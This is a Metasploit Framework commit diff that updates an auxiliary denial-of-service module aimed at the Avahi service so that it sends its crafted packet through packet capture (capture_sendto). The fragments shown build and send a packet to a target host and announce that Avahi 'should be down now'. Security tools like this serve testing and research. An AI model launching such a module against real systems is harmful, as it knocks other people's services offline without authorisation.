See #782. Updating to use capture_sendto.
git-svn-id: file:///home/svn/framework3/trunk@8273 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
246fe53ff4
commit
8d64f8a10c
|
@ -14,7 +14,7 @@ require 'racket'
|
||||||
|
|
||||||
class Metasploit3 < Msf::Auxiliary
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
include Msf::Exploit::Remote::Ip
|
include Msf::Exploit::Capture
|
||||||
include Msf::Auxiliary::Dos
|
include Msf::Auxiliary::Dos
|
||||||
|
|
||||||
def initialize
|
def initialize
|
||||||
|
@ -38,7 +38,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
def run
|
def run
|
||||||
print_status("Sending to #{rhost}")
|
print_status("Sending to #{rhost}")
|
||||||
|
|
||||||
connect_ip
|
open_pcap
|
||||||
|
|
||||||
n = Racket::Racket.new
|
n = Racket::Racket.new
|
||||||
|
|
||||||
|
@ -55,9 +55,9 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
n.l4.dst_port = datastore['RPORT'].to_i
|
n.l4.dst_port = datastore['RPORT'].to_i
|
||||||
pkt = n.pack
|
pkt = n.pack
|
||||||
|
|
||||||
ip_write(pkt)
|
capture_sendto(pkt, rhost)
|
||||||
|
|
||||||
disconnect_ip
|
close_pcap
|
||||||
|
|
||||||
print_status("Avahi should be down now")
|
print_status("Avahi should be down now")
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue